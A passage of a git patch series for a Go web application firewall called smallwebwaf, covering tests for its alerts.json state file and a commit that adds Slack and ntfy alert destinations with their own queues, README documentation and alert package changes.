bansJSON, clientsJSON, lookupsJSON) + wantFiles(t, dir, alertsJSON, bansJSON, clientsJSON, lookupsJSON) +} + +func TestAlertsJSONIsIndentedWithTheCooldownsTheHourAndTheAlertsWaiting(t *testing.T) { + t.Parallel() + + dir := t.TempDir() + params := newParams(dir) + fill(params) + + files := load(t, params) + + err := files.WriteAll() + if err != nil { + t.Fatalf("write: %v", err) + } + + got := readFile(t, filepath.Join(dir, alertsJSON)) + if got != filledAlertsJSON { + t.Errorf("alerts.json\n%s\nwant\n%s", got, filledAlertsJSON) + } +} + +func TestSourceFailureCooldownKeptInAlertsJSONAcrossARestart(t *testing.T) { + t.Parallel() + + dir := t.TempDir() + before := newParams(dir) + files := load(t, before) + + failure := alerts.Alert{ + Event: alerts.EventSourceFailure, Reason: "asking GeoJS failed", + Detail: map[string]any{"source": "geojs"}, + } + before.Alerts.Raise(failure) + + err := files.WriteAll() + if err != nil { + t.Fatalf("write: %v", err) + } + + // After the restart, the cooldown read back holds back a repeat for the + // same source. + after := newParams(dir) + load(t, after) + after.Alerts.Raise(failure) + + waiting := after.Alerts.Snapshot().Waiting + if len(waiting) != 1 || after.Alerts.Suppressed() != 1 { + t.Errorf("%d alerts wait and %d are held back, want the one read back and 1", + len(waiting), after.Alerts.Suppressed()) + } } func TestBansJSONIsIndentedWithNullForAPermanentBan(t *testing.T) { @@ -146,8 +267,10 @@ func TestMissingFilesAreEmptyState(t *testing.T) { params := newParams(t.TempDir()) load(t, params) + held := params.Alerts.Snapshot() if len(params.Ledger.Snapshot()) != 0 || len(params.Limiter.Snapshot()) != 0 || - len(params.GeoJS.Snapshot()) != 0 { + len(params.GeoJS.Snapshot()) != 0 || len(held.Cooldowns) != 0 || + len(held.Waiting) != 0 || held.Hour.Sent != 0 { t.Error("state from no files") } } @@ -189,6 +312,11 @@ func TestFileThatDoesNotParseStopsTheStart(t *testing.T) { `{"version": 1, "bans": [{"netblock": "203.0.113.300/32"}]}`, `: netip.ParsePrefix("203.0.113.300/32")`, }, + { + "an unknown field of an alert waiting", alertsJSON, + `{"version": 1, "waiting": [{"event": "ban", "evnet": "ban"}]}`, + `: json: unknown field "evnet"`, + }, } { t.Run(tc.name, func(t *testing.T) { t.Parallel() @@ -278,6 +406,43 @@ func TestEntryWithoutAFieldItNeedsStopsTheStart(t *testing.T) { } } +func TestAlertsJSONEntryWithoutAFieldItNeedsStopsTheStart(t *testing.T) { + t.Parallel() + + for _, tc := range []struct { + name, content string + // want is what the error says after the file's path. + want string + }{ + { + "a cooldown without its event", + `{"version": 1, "cooldowns": [{"sent": "2026-10-06T00:00:00Z"}]}`, + `: cooldowns entry 1 has no "event"`, + }, + { + "a cooldown without when it was sent", + `{"version": 1, "cooldowns": [{"event": "ban"}]}`, + `: cooldowns entry 1 has no "sent"`, + }, + { + "an alert waiting without its event", + `{"version": 1, "waiting": [{"time": "2026-10-06T00:00:00Z"}]}`, + `: waiting entry 1 has no "event"`, + }, + { + "an alert waiting without its time", + `{"version": 1, "waiting": [{"event": "ban"}]}`, + `: waiting entry 1 has no "time"`, + }, + } { + t.Run(tc.name, func(t *testing.T) { + t.Parallel() + + wantRefused(t, alertsJSON, tc.content, tc.want) + }) + } +} + func TestBanWithAnotherCauseStopsTheStart(t *testing.T) { t.Parallel() @@ -294,7 +459,7 @@ func TestBanWithAnotherCauseStopsTheStart(t *testing.T) { func TestUnknownVersionStopsTheStart(t *testing.T) { t.Parallel() - for _, file := range []string{bansJSON, clientsJSON, lookupsJSON} { + for _, file := range []string{bansJSON, clientsJSON, lookupsJSON, alertsJSON} { for _, content := range []string{`{"version": 2}`, `{}`} { t.Run(file+" "+content, func(t *testing.T) { t.Parallel() @@ -344,12 +509,12 @@ func TestBansWrittenOnceWriteDelayAfterABan(t *testing.T) { // A second ban, made while the first waits to be written, puts the // write off no further, and is written with it. - first := params.Ledger.BanForLimit(netip.MustParsePrefix("203.0.113.9/32"), + first, _ := params.Ledger.BanForLimit(netip.MustParsePrefix("203.0.113.9/32"), midnight(), bans.Notes{}) time.Sleep(5 * time.Second) - second := params.Ledger.BanForLimit(netip.MustParsePrefix("203.0.113.10/32"), + second, _ := params.Ledger.BanForLimit(netip.MustParsePrefix("203.0.113.10/32"), midnight(), bans.Notes{}) time.Sleep(5*time.Second - time.Nanosecond) @@ -396,8 +561,8 @@ func TestEveryFileWrittenEveryCounterInterval(t *testing.T) { time.Sleep(time.Nanosecond) synctest.Wait() - wantFiles(t, dir, bansJSON, clientsJSON, lookupsJSON) - removeFiles(t, dir, bansJSON, clientsJSON, lookupsJSON) + wantFiles(t, dir, alertsJSON, bansJSON, clientsJSON, lookupsJSON) + removeFiles(t, dir, alertsJSON, bansJSON, clientsJSON, lookupsJSON) } }) } @@ -440,6 +605,56 @@ func TestEditJustBeforeAScheduledWriteSurvivesIt(t *testing.T) { }) } +func TestWriteThatFailsWhileRunningRaisesAFileErrorAlertOncePerCooldown(t *testing.T) { + t.Parallel() + + synctest.Test(t, func(t *testing.T) { + dir := t.TempDir() + params := newParams(dir) + params.CounterInterval = time.Minute + run(t, load(t, params).Run) + + // A directory in the way of clients.json's temporary file fails each + // of its writes, while the other files are written. It holds a file, + // so that the write cannot remove it. + err := os.Mkdir(filepath.Join(dir, clientsJSON+".tmp"), 0o700) + if err == nil { + err = os.WriteFile(filepath.Join(dir, clientsJSON+".tmp", "kept"), nil, 0o600) + } + + if err != nil { + t.Fatalf("put a directory in the way: %v", err) + } + + time.Sleep(time.Minute) + synctest.Wait() + + waiting := params.Alerts.Snapshot().Waiting + if len(waiting) != 1 { + t.Fatalf("%d alerts wait, want 1", len(waiting)) + } + + message, _ := waiting[0].Detail["error"].(string) + + if waiting[0].Event != alerts.EventFileError || + waiting[0].Reason != "writing the state files failed" || + waiting[0].Detail["file"] != filepath.Join(dir, clientsJSON) || + !strings.Contains(message, clientsJSON+".tmp") { + t.Fatalf("alerts waiting %+v, want a file_error alert for clients.json, "+ + "naming its temporary file", waiting) + } + + // The next write fails too, within the cooldown, which holds it back. + time.Sleep(time.Minute) + synctest.Wait() + + if len(params.Alerts.Snapshot().Waiting) != 1 || params.Alerts.Suppressed() != 1 { + t.Errorf("%d alerts wait and %d are held back, want 1 and 1", + len(params.Alerts.Snapshot().Waiting), params.Alerts.Suppressed()) + } + }) +} + func TestFailedWriteLeavesTheFileAsItWas(t *testing.T) { t.Parallel() @@ -565,7 +780,7 @@ func TestFileThatCannotBeReadIsNotWrittenOver(t *testing.T) { t.Errorf("bans.json is now %v (%v), want the socket", info, err) } - wantFiles(t, dir, bansJSON, clientsJSON, lookupsJSON) + wantFiles(t, dir, alertsJSON, bansJSON, clientsJSON, lookupsJSON) wantWriteFailed(t, params, bansJSON) } @@ -637,6 +852,25 @@ func TestEditOfEachFileTakenIn(t *testing.T) { wantTakenIn(t, lines, dir, lookupsJSON) wantEqual(t, lookupsJSON, params.GeoJS.Snapshot(), []lookup.Answer{{Client: client, Country: "FR", Answered: midnight()}}) + + // A netblock with bits past its length is read as the netblock it is + // in. + edit(t, dir, alertsJSON, `{"version": 1, "cooldowns": [{"event": "ban", `+ + `"netblock": "198.51.100.9/24", "sent": "2026-10-06T00:00:00Z"}], `+ + `"waiting": [{"event": "file_error", "time": "2026-10-06T00:00:00Z"}]}`) + wantTakenIn(t, lines, dir, alertsJSON) + + want := alerts.State{ + Cooldowns: []alerts.Cooldown{{ + Event: alerts.EventBan, Netblock: netip.MustParsePrefix("198.51.100.0/24"), + Sent: midnight(), + }}, + Hour: alerts.Hour{HeldBack: map[string]int{}}, + Waiting: []alerts.Alert{{Event: alerts.EventFileError, Time: midnight()}}, + } + if got := params.Alerts.Snapshot(); !reflect.DeepEqual(got, want) { + t.Errorf("%s taken in as\n%+v\nwant\n%+v", alertsJSON, got, want) + } } func TestOwnWritesAreNotTakenIn(t *testing.T) { @@ -708,7 +942,7 @@ func TestBanAddedAndLiftedThroughBansJSON(t *testing.T) { `"start": "2026-10-06T00:00:00Z", "expires": null}]}`) wantTakenIn(t, lines, dir, bansJSON) - _, banned := params.Ledger.Check(client, midnight()) + _, banned, _ := params.Ledger.Check(client, midnight()) if !banned { t.Error("the ban added to bans.json does not refuse") } @@ -717,7 +951,7 @@ func TestBanAddedAndLiftedThroughBansJSON(t *testing.T) { edit(t, dir, bansJSON, `{"version": 1, "bans": []}`) wantTakenIn(t, lines, dir, bansJSON) - _, banned = params.Ledger.Check(client, midnight()) + _, banned, _ = params.Ledger.Check(client, midnight()) if banned { t.Error("the ban removed from bans.json still refuses") } @@ -807,7 +1041,7 @@ func TestBanLiftedByAnEditWhileRunning(t *testing.T) { netblock := netip.MustParsePrefix(liftedClient + "/32") params.Ledger.BanForLimit(netblock, midnight(), bans.Notes{}) - _, banned := params.Ledger.Find(netblock.Addr(), afterLifting()) + _, banned, _ := params.Ledger.Find(netblock.Addr(), afterLifting()) if !banned { t.Fatal("the ban does not refuse before it is lifted") } @@ -844,7 +1078,7 @@ func TestBrokenEditSetAsideAtTheNextWrite(t *testing.T) { edit(t, dir, bansJSON, broken) edit(t, dir, clientsJSON, `{"version": 1, "clients": []}`) wantTakenIn(t, lines, dir, clientsJSON) - wantFiles(t, dir, bansJSON, clientsJSON, lookupsJSON) + wantFiles(t, dir, alertsJSON, bansJSON, clientsJSON, lookupsJSON) // The next write sets it aside, logged with where the error is, and // writes bans.json again from what smallwebwaf still holds. @@ -861,7 +1095,14 @@ func TestBrokenEditSetAsideAtTheNextWrite(t *testing.T) { t.Errorf("set aside with %v", line) } - wantFiles(t, dir, bansJSON, bansJSON+".bad", clientsJSON, lookupsJSON) + // It is raised as a file_error alert, with the same file and error. + waiting := params.Alerts.Snapshot().Waiting + if len(waiting) != 1 || waiting[0].Event != alerts.EventFileError || + waiting[0].Detail["file"] != path+".bad" || waiting[0].Detail["error"] != message { + t.Errorf("alerts waiting %+v, want a file_error alert for %s", waiting, path+".bad") + } + + wantFiles(t, dir, alertsJSON, bansJSON, bansJSON+".bad", clientsJSON, lookupsJSON) if got := readFile(t, path+".bad"); got != broken { t.Errorf("bans.json.bad holds\n%s\nwant the edit", got) @@ -990,7 +1231,8 @@ func midnight() time.Time { } // newParams returns Params for the state files in dir, with parts that -// hold nothing yet. GeoJS is never asked. +// hold nothing yet. GeoJS is never asked, and the alerts, at most two an +// hour, are never sent. func newParams(dir string) state.Params { discard := slog.New(slog.DiscardHandler) m := metrics.New(1) @@ -1010,6 +1252,14 @@ func newParams(dir string) state.Params { GeoJS: lookup.New(lookup.Params{ Now: midnight, ProcessLog: discard, Metrics: m, }), + Alerts: alerts.New(alerts.Params{ + WebhookURL: &url.URL{Scheme: "https", Host: "alerts.example"}, + Events: alerts.Events(), + Cooldown: 15 * time.Minute, + MaxPerHour: 2, + Instance: "fsn1app1/gitea", + Now: midnight, + }), Now: midnight, ProcessLog: discard, Metrics: m, @@ -1017,8 +1267,9 @@ func newParams(dir string) state.Params { } // fill puts a permanent ban an admin made, a ban for a broken limit and -// one for a clear sign of attack, clients with counts and histories, and -// GeoJS answers into the parts of params. +// one for a clear sign of attack, clients with counts and histories, +// GeoJS answers, and alerts, as filledAlertsJSON holds them, into the +// parts of params. func fill(params state.Params) { now := midnight() client := netip.MustParsePrefix("203.0.113.9/32") @@ -1043,6 +1294,25 @@ func fill(params state.Params) { Answered: now.Add(-time.Hour), Used: now.Add(-time.Minute), }, }) + + // An alert waiting, a repeat of it the cooldown holds back, another + // alert waiting, and one past the two an hour, for the hour's summary. + ban := alerts.Alert{ + Event: alerts.EventBan, Client: client.Addr(), Netblock: client, Country: "DE", + Reason: "requests per minute over the limit of 1", + Detail: map[string]any{"cause": "limit"}, + } + params.Alerts.Raise(ban) + params.Alerts.Raise(ban) + params.Alerts.Raise(alerts.Alert{ + Event: alerts.EventFileError, Reason: "writing the state files failed", + Detail: map[string]any{ + "file": "/var/lib/smallwebwaf/bans.json", "error": "no space left on device", + }, + }) + params.Alerts.Raise(alerts.Alert{ + Event: alerts.EventSourceFailure, Reason: "asking GeoJS failed", + }) } // permanentBan is the ban permanentBansJSON holds. @@ -1098,13 +1368,13 @@ func wantLiftedBanKept( netblock := netip.MustParsePrefix(liftedClient + "/32") - _, banned := ledger.Check(netblock.Addr(), afterLifting()) + _, banned, _ := ledger.Check(netblock.Addr(), afterLifting()) if banned { t.Error("the lifted ban refuses") } // Were the lifted ban counted, the next would last three hours. - ban := ledger.BanForLimit(netblock, afterLifting(), bans.Notes{}) + ban, _ := ledger.BanForLimit(netblock, afterLifting(), bans.Notes{}) if ban.Expires.Sub(ban.Start) != time.Hour { t.Errorf("the next ban lasts %s, want 1h", ban.Expires.Sub(ban.Start)) } From 70a8ea1b92df5432b1da3bacca239c17880f4813 Mon Sep 17 00:00:00 2001 From: clawbot <35+clawbot@noreply.example.org> Date: Wed, 7 Oct 2026 05:54:34 +0200 Subject: [PATCH 32/64] Alerts to Slack and ntfy, each destination with its own queue (closes #90) Each alert is posted as a message to the Slack incoming webhook SWWAF_ALERT_SLACK_WEBHOOK_URL names, and published to the ntfy topic SWWAF_ALERT_NTFY_URL names, with SWWAF_ALERT_NTFY_TOKEN as a bearer token and a priority and tag by event. The cooldown and the hourly limit stay shared; past them, each destination has its own bounded queue and backoff, and its own sent, failed and dropped counts. alerts.json keeps the alerts waiting by destination; one whose waiting is still a list stops the start, saying what to change. A control character in the ntfy token, or in the instance name ntfy is sent, stops the start. Judgement call: messages also give the detail's file, source, error and mode. Judgement call: alerts_suppressed_total is the same for every destination. Model: opus-5-5 --- README.md | 184 ++++--- internal/alerts/alerts.go | 607 ++++++++++++++++------- internal/alerts/alerts_test.go | 528 ++++++++++++++++++-- internal/alerts/export_test.go | 14 +- internal/config/config.go | 105 +++- internal/config/config_test.go | 140 +++++- internal/lookup/lookup_test.go | 2 +- internal/metrics/metrics.go | 77 +-- internal/proxy/alerts_test.go | 7 +- internal/rules/rules_test.go | 2 +- internal/smallwebwaf/smallwebwaf.go | 11 +- internal/smallwebwaf/smallwebwaf_test.go | 150 +++++- internal/state/state.go | 68 ++- internal/state/state_test.go | 119 +++-- 14 files changed, 1586 insertions(+), 428 deletions(-) diff --git a/README.md b/README.md index 206c9b1..7060966 100644 --- a/README.md +++ b/README.md @@ -19,21 +19,21 @@ ledger with the bans you make, keep and lift, the JSON state files with your edits taken in while it runs and the paths the rate limits do not count, which come next in the build order, `observe` mode and the rest of the request log's fields, which come a little later, and the metrics endpoint and the header size -and the idle time as settings, which come last in it. So are four parts of the -stage after it: the rule files, the first part, with the bans for a clear sign -of attack, the other admin endpoints, the second, alerts to a JSON webhook, the -first of the three destinations alerts go to, and remote log sending. -`smallwebwaf` passes each request to the app and the app's answer back, -unchanged, within its timeouts and size limits, works out each client's address, -bans a client that sends too many requests, not counting those for the paths you -choose, refuses a client that comes from a country you refuse or from a network -you refuse, lets the networks you choose through, checks each request against -the rule files and bans a client whose request is a clear sign of attack, keeps -its bans, each client's counters and history, and GeoJS's answers in JSON files -across restarts, takes in your edits of those files, such as a ban you make, -keep or lift, and of the rule files while it runs, writes a JSON log line for -every request, sends its log lines to a syslog server too if you name one, sends -an alert to a webhook you name for each ban it makes or makes permanent, for +and the idle time as settings, which come last in it. So are the four parts of +the stage after it: the rule files, with the bans for a clear sign of attack, +the other admin endpoints, alerts to all three destinations, a JSON webhook, +Slack and ntfy, and remote log sending. `smallwebwaf` passes each request to the +app and the app's answer back, unchanged, within its timeouts and size limits, +works out each client's address, bans a client that sends too many requests, not +counting those for the paths you choose, refuses a client that comes from a +country you refuse or from a network you refuse, lets the networks you choose +through, checks each request against the rule files and bans a client whose +request is a clear sign of attack, keeps its bans, each client's counters and +history, and GeoJS's answers in JSON files across restarts, takes in your edits +of those files, such as a ban you make, keep or lift, and of the rule files +while it runs, writes a JSON log line for every request, sends its log lines to +a syslog server too if you name one, sends an alert to a webhook, to Slack and +to ntfy, each if you name one, for each ban it makes or makes permanent, for GeoJS failing and for a rule file or state file with an error, serves Prometheus metrics to a scraper that holds the metrics token, lets an admin who holds the admin token list, add and lift bans and ask what it knows of a client, and in @@ -190,10 +190,12 @@ in `bin/state` unless `SWWAF_STATE_DIR` is set, and the default rule file of - Sends every line it writes on stdout to a syslog server as well, while `SWWAF_LOG_REMOTE_URL` names one (see "Sending the log to a syslog server" below). -- Sends an alert, as a JSON object, to the webhook `SWWAF_ALERT_WEBHOOK_URL` - names, while it names one, for each ban it makes or makes permanent, for GeoJS - failing, and for a rule file or state file with an error, holding back repeats - and, past an hourly limit, rolling the rest into one summary (see "Alerts" +- Sends an alert for each ban it makes or makes permanent, for GeoJS failing, + and for a rule file or state file with an error, holding back repeats and, + past an hourly limit, rolling the rest into one summary, to each destination + you name: as a JSON object to the webhook `SWWAF_ALERT_WEBHOOK_URL` names, as + a message to the Slack incoming webhook `SWWAF_ALERT_SLACK_WEBHOOK_URL` names, + and as a message to the ntfy topic `SWWAF_ALERT_NTFY_URL` names (see "Alerts" below). ## Settings @@ -340,13 +342,29 @@ effective settings are logged at start. - `SWWAF_ALERT_WEBHOOK_URL` (default unset): the webhook each alert is posted to, an `http` or `https` URL without a user or a fragment, such as `https://alerts.example/smallwebwaf` (see "Alerts" below). Unset or empty, no - alert is sent. Since many webhooks carry their secret in the path or the - query, the settings logged at start show `********` in place of them, and a - value that stops the start is not shown. + alert is sent to a webhook. Since many webhooks carry their secret in the path + or the query, the settings logged at start show `********` in place of them, + and a value that stops the start is not shown. - `SWWAF_ALERT_WEBHOOK_HEADERS` (default empty): headers sent with each alert, such as one that authenticates it, as a list of a name, `:` and a value, such as `Authorization:Bearer 0123456789abcdef`. A value cannot hold a comma. The settings logged at start show `********` in place of each value. +- `SWWAF_ALERT_SLACK_WEBHOOK_URL` (default unset): the Slack incoming webhook + each alert is posted to as a message, such as + `https://hooks.slack.com/services/T0123/B4567/abcdef`. Unset or empty, no + alert is sent to Slack. It is checked and logged as `SWWAF_ALERT_WEBHOOK_URL` + is. +- `SWWAF_ALERT_NTFY_URL` (default unset): the ntfy topic each alert is published + to, as the topic's full URL, such as `https://ntfy.sh/my-alerts`. Unset or + empty, no alert is sent to ntfy. It is checked and logged as + `SWWAF_ALERT_WEBHOOK_URL` is, since anyone who knows a topic on a server open + to all can read it. +- `SWWAF_ALERT_NTFY_TOKEN` (default unset): an ntfy access token, sent to ntfy + with each alert as `Authorization: Bearer `, for a topic that needs + one. The settings logged at start show `********` in its place. A control + character in it, such as the carriage return of a file saved with Windows line + ends, stops the start, and while `SWWAF_ALERT_NTFY_URL` is set, so does one in + `SWWAF_INSTANCE_NAME`, which ntfy is sent in the title. - `SWWAF_ALERT_EVENTS` (default `ban,permanent_ban,waf_block,anomaly,reputation_hit,source_failure,file_error`): the events alerts are sent for. `waf_block`, `anomaly` and `reputation_hit` @@ -532,11 +550,13 @@ them. ## Alerts -While `SWWAF_ALERT_WEBHOOK_URL` is set, `smallwebwaf` posts each alert to it as -one JSON object, with `Content-Type: application/json` and the headers -`SWWAF_ALERT_WEBHOOK_HEADERS` gives, as "Alert webhook schema" in -[`SPEC.md`](SPEC.md) describes. An alert is for one of these events, and is sent -when `SWWAF_ALERT_EVENTS` names its event: +`smallwebwaf` sends each alert to each destination you name: to +`SWWAF_ALERT_WEBHOOK_URL` it posts the alert as one JSON object, with +`Content-Type: application/json` and the headers `SWWAF_ALERT_WEBHOOK_HEADERS` +gives, as "Alert webhook schema" in [`SPEC.md`](SPEC.md) describes, and to +`SWWAF_ALERT_SLACK_WEBHOOK_URL` and `SWWAF_ALERT_NTFY_URL` a message made from +it, as below. An alert is for one of these events, and is sent when +`SWWAF_ALERT_EVENTS` names its event: - `ban`: a ban `smallwebwaf` makes, for a broken rate limit or a clear sign of attack. @@ -612,6 +632,47 @@ is sent on one line: - `suppressed_repeats` is how many repeats the cooldown held back before this alert. +Slack and ntfy are each sent the alert as a message: a title, the instance and +the event, such as `fsn1app1/gitea: ban`, and a text, the `reason`, then a line +for each of the `client`, the `netblock` and the `country`, the `file`, the +`source`, the `error` and the `mode` the `detail` gives, and the +`suppressed_repeats`, leaving out those that are empty or 0. Slack is posted, as +JSON, the title in bold and the text below it, with `&`, `<` and `>` escaped, so +that nothing in them is read as a link or a mention. ntfy is posted the text, +with the title as `Title`, `SWWAF_ALERT_NTFY_TOKEN`, while it is set, as +`Authorization: Bearer `, and the priority and the tag, which ntfy shows +as an emoji, of the alert's event, as `Priority` and `Tags`: + +| Event | Priority | Tag | +| ------------------------------ | --------- | -------------------------- | +| `ban` | `default` | `no_entry` | +| `permanent_ban` | `high` | `no_entry` | +| `waf_block` | `default` | `shield` | +| `anomaly` | `high` | `chart_with_upwards_trend` | +| `reputation_hit` | `low` | `label` | +| `source_failure`, `file_error` | `high` | `warning` | +| `summary` | `default` | `bar_chart` | + +For the alert above, ntfy is sent these headers and this text: + +```text +Title: fsn1app1/gitea: ban +Priority: default +Tags: no_entry + +requests per minute over the limit of 1000 +client: 203.0.113.9 +netblock: 203.0.113.9/32 +``` + +and Slack this JSON object, shown indented; it is sent on one line: + +```json +{ + "text": "*fsn1app1/gitea: ban*\nrequests per minute over the limit of 1000\nclient: 203.0.113.9\nnetblock: 203.0.113.9/32" +} +``` + An alert for the same event as the last one sent, on the same netblock, or for a `file_error` about the same file, or for a `source_failure` about the same source, less than `SWWAF_ALERT_COOLDOWN` after it, is a repeat: it is held back @@ -626,18 +687,19 @@ were held back, and its `detail` gives the `hour` as when it started, the starts no cooldown, and the repeats held back before it are given by the next alert sent for the same event and netblock, file or source. -The alerts wait in a queue of at most 1000, from which they are sent one at a -time, the oldest first, so a webhook that is slow or down never holds up a -request. The webhook takes an alert by answering with a 2xx status, and refuses -it with a 4xx status other than `408` and `429`: a refused alert is logged, -counted as dropped, and given up, so that the next is sent. Any other answer, a -redirect included, a connection that fails, or no answer within 10 seconds is a -failure: it is logged, without the webhook's URL, and the alert is sent again a -second later, twice as long after each further failure in a row, up to a minute. -With 1000 alerts waiting, the oldest is dropped to make room for a new one. The -cooldowns, the hour under way and the alerts still waiting are kept in -`alerts.json` (see "State files" below), so that after a restart the alerts -waiting are sent, and the cooldowns go on. +Each destination has a queue of its own, of at most 1000 alerts, from which they +are sent to it one at a time, the oldest first, so a destination that is slow or +down holds up neither the others nor any request. A destination takes an alert +by answering with a 2xx status, and refuses it with a 4xx status other than +`408` and `429`: a refused alert is logged, counted as dropped, and given up, so +that the next is sent. Any other answer, a redirect included, a connection that +fails, or no answer within 10 seconds is a failure: it is logged, naming the +destination's setting and not its URL, and the alert is sent again a second +later, twice as long after each further failure in a row, up to a minute. With +1000 alerts waiting for a destination, the oldest is dropped to make room for a +new one. The cooldowns, the hour under way and the alerts still waiting for each +destination are kept in `alerts.json` (see "State files" below), so that after a +restart the alerts waiting are sent, and the cooldowns go on. ## State files @@ -668,9 +730,13 @@ entries by client address, but for the alerts waiting, with times in UTC. `source`, or event alone, when the last alert was sent, `sent`, and the repeats held back since, `suppressed_repeats`; under `hour`, the hour under way, from its `start`, the alerts `sent` in it and those `held_back` for its - summary, by event; and under `waiting`, the alerts still waiting to be sent, - the oldest first, each as the webhook is sent it. As an hour ends, the - cooldowns that have run out with no repeat held back are dropped. + summary, by event; and under `waiting`, for each destination you name, + `webhook`, `slack` or `ntfy`, the alerts still waiting to be sent to it, the + oldest first, each as the webhook is sent it. As an hour ends, the cooldowns + that have run out with no repeat held back are dropped. As the file is read, + the alerts waiting for a destination you no longer name are dropped. A file + whose `waiting` is a list, as it was before alerts went to Slack and ntfy too, + stops the start: put the list under `"webhook"`, or remove the file. `bans.json` is written `SWWAF_STATE_WRITE_DELAY` after a ban is made, lifted through `DELETE /_smallwebwaf/bans/`, or made permanent, with every such @@ -695,8 +761,9 @@ without a field it needs, named with the entry's place in the file: a ban's client's `client`, or the `start` of a window in which it has requests; an answer's `client`, `country`, which is `""` for a client GeoJS cannot place, or `answered`; a cooldown's `event` or `sent`; an alert waiting's `event` or -`time`. So does a ban whose `cause` is not `limit`, `attack` or `admin`. The AS -number and AS name come with their lookup. +`time`. So does a ban whose `cause` is not `limit`, `attack` or `admin`, and +alerts waiting for a destination that is not `webhook`, `slack` or `ntfy`. The +AS number and AS name come with their lookup. While it runs, `smallwebwaf` watches `SWWAF_STATE_DIR` and takes in your edit of a state file as soon as you save it: what the file then holds replaces what @@ -705,14 +772,14 @@ yours by comparing the file with what it last read or wrote, and before it writes a file it takes in any edit made since, so your edit is not overwritten; a change `smallwebwaf` made after you opened the file, such as a new ban, is lost when you save over it. An edit that would stop the start, because it does -not parse, has another `version`, leaves out a field an entry needs or gives a -ban another `cause`, does not stop the running `smallwebwaf`: it keeps what it -holds, and at the file's next write renames your file to `.bad`, such as -`bans.json.bad`, writes the file again from memory, logs the file and where the -error is, and raises a `file_error` alert for it. It waits for that write -because an editor's file can be read before the editor has finished writing it. -Mend the `.bad` file and move it back. A file you remove is written again at its -next write. +not parse, has another `version`, leaves out a field an entry needs, gives a ban +another `cause` or names another destination, does not stop the running +`smallwebwaf`: it keeps what it holds, and at the file's next write renames your +file to `.bad`, such as `bans.json.bad`, writes the file again from +memory, logs the file and where the error is, and raises a `file_error` alert +for it. It waits for that write because an editor's file can be read before the +editor has finished writing it. Mend the `.bad` file and move it back. A file +you remove is written again at its next write. To ban a netblock, add an entry to `bans.json` with its `netblock`, its `start` and its `expires`, `null` for a ban that never ends; its `reason` and its @@ -876,12 +943,13 @@ other request. No metric carries a client's address. `smallwebwaf_remote_log_lines_dropped_total`: those dropped, from a full buffer or because their sending failed; and `smallwebwaf_remote_log_buffer_depth`: those waiting in the buffer. -- While `SWWAF_ALERT_WEBHOOK_URL` is set, by `destination`, `webhook`: - `smallwebwaf_alerts_sent_total`: the alerts the webhook took; +- For each destination you name, by `destination`, `webhook`, `slack` or `ntfy`: + `smallwebwaf_alerts_sent_total`: the alerts it took; `smallwebwaf_alerts_failed_total`: the requests to it that failed; `smallwebwaf_alerts_suppressed_total`: the alerts held back, as repeats or for - an hour's summary; and `smallwebwaf_alerts_dropped_total`: those dropped from - a full queue, or given up as the webhook refused them. + an hour's summary, which are the same for every destination; and + `smallwebwaf_alerts_dropped_total`: those dropped from its full queue, or + given up as it refused them. - Go's own `go_` metrics and the process's `process_` metrics. The requests Go's HTTP server ends before `smallwebwaf` sees them (see "Request @@ -1259,8 +1327,8 @@ addresses are never sent to GeoJS. standard library alone, whose `log/syslog` writes only the older syslog format. - `internal/alerts`: takes the alerts the other parts raise, holds back repeats - and those past the hourly limit, and sends the others to - `SWWAF_ALERT_WEBHOOK_URL` from a queue of its own. + and those past the hourly limit, and sends the others to the webhook, Slack + and ntfy, each from a queue of its own. - `Dockerfile`: the lint and test phases, then the image, whose last stage installs Ubuntu's packages, nixpkgs, `runsvinit` and `smallwebwaf`, with `share/smallwebwaf.run` as runit's `run` script for `smallwebwaf` and diff --git a/internal/alerts/alerts.go b/internal/alerts/alerts.go index 71c85ad..a1d71d1 100644 --- a/internal/alerts/alerts.go +++ b/internal/alerts/alerts.go @@ -1,12 +1,16 @@ // Package alerts sends alerts on bans, on a source that fails and on a -// file with an error to the webhook SWWAF_ALERT_WEBHOOK_URL names, each -// as one JSON object, as the "Alert webhook schema" section of SPEC.md -// describes. A repeat within SWWAF_ALERT_COOLDOWN is held back, and so is -// an alert past SWWAF_ALERT_MAX_PER_HOUR, for the hour's summary. The -// others wait in a bounded queue, so that a slow or unreachable webhook -// never holds up a request. The state is written to alerts.json and read -// from it by the state package. Nothing logged names the webhook's URL, -// whose path or query can carry a secret. +// file with an error to each destination set: to the webhook +// SWWAF_ALERT_WEBHOOK_URL names, each as one JSON object, as the "Alert +// webhook schema" section of SPEC.md describes, to the Slack incoming +// webhook SWWAF_ALERT_SLACK_WEBHOOK_URL names, as a message, and to the +// ntfy topic SWWAF_ALERT_NTFY_URL names. A repeat within +// SWWAF_ALERT_COOLDOWN is held back, and so is an alert past +// SWWAF_ALERT_MAX_PER_HOUR, for the hour's summary. The others wait in a +// bounded queue of each destination's own, so that a destination that is +// slow or unreachable holds up neither the others nor any request. The +// state is written to alerts.json and read from it by the state package. +// Nothing logged names a destination's URL, whose path or query can carry +// a secret. package alerts import ( @@ -23,6 +27,7 @@ import ( "net/netip" "net/url" "slices" + "strings" "sync" "sync/atomic" "time" @@ -60,36 +65,62 @@ func Events() []string { } } +// The destinations alerts are sent to, as the metrics and alerts.json +// name them. const ( - // queueSize is the most alerts that wait to be sent. Past it, the - // oldest is dropped. + // DestinationWebhook is the webhook SWWAF_ALERT_WEBHOOK_URL names. + DestinationWebhook = "webhook" + // DestinationSlack is the Slack incoming webhook + // SWWAF_ALERT_SLACK_WEBHOOK_URL names. + DestinationSlack = "slack" + // DestinationNtfy is the ntfy topic SWWAF_ALERT_NTFY_URL names. + DestinationNtfy = "ntfy" +) + +// Destinations returns every destination alerts can be sent to. +func Destinations() []string { + return []string{DestinationWebhook, DestinationSlack, DestinationNtfy} +} + +const ( + // queueSize is the most alerts that wait to be sent to a destination. + // Past it, the oldest is dropped. queueSize = 1000 - // sendTimeout bounds one request to the webhook. + // sendTimeout bounds one request to a destination. sendTimeout = 10 * time.Second - // After a request to the webhook fails, the alert is sent again a + // After a request to a destination fails, the alert is sent again a // second later, and retryDelayFactor times as long after each further // failure in a row, up to a minute. firstRetryDelay = time.Second retryDelayFactor = 2 maxRetryDelay = time.Minute - // maxAnswerBytes is the most of the webhook's answer that is read. + // maxAnswerBytes is the most of a destination's answer that is read. maxAnswerBytes = 64 << 10 ) var ( - errStatus = errors.New("the webhook answered") - // errRefused is a 4xx answer other than 408 and 429: the webhook + errStatus = errors.New("the destination answered") + // errRefused is a 4xx answer other than 408 and 429: the destination // refuses the alert itself, and would refuse it again. - 